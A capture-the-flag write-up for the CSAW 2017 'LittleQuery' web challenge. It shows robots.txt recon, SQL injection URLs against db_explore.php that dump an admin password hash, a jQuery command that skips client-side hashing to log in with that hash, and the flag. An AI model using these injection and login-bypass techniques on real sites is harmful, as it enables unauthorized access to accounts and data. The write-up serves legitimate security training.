CSAWCTF_2017: LittleQuery

Category: Web Points: 200 Description:

I've got a new website for BIG DATA analytics! http://littlequery.chal.csaw.io

Write-up

This challenge is a straightforward database injection attack challenge, with a bit of recon mixed in. This challenge starts with seeing the robots.txt page.

User-agent: *
Disallow: /api

From there, we discover a hidden part of the site, /api!

Index of /api

[ICO]   Name    Last modified   Size    Description
[PARENTDIR] Parent Directory        -    
[   ]   db_explore.php  2017-09-13 10:36    1.9K     
Apache/2.4.18 (Ubuntu) Server at littlequery.chal.csaw.io Port 80

This leads us to db_explore.php. Upon further testing, there were two factors towards solving the challenge. First, is the mode schema and second, the mode preview. Upon further testing, we end up with 3 things.

http://littlequery.chal.csaw.io/api/db_explore.php?mode=schema&db=littlequery&table=user

http://littlequery.chal.csaw.io/api/db_explore.php?mode=preview&db=littlequery`.`user`%23&table=users

In this case, %23 stands for #, to comment out the rest of the SQL statement. Now, we have the user credentials.

admin:5896e92d38ee883cc09ad6f88df4934f6b074cf8

Since the password is hashed clientside before sending to server, we can simply prevent the hashing from taking place and sending the hash, using this JS command!

$(".form-signin").off()

Therefore, the flag is flag{mayb3_1ts_t1m3_4_real_real_escape_string?}.

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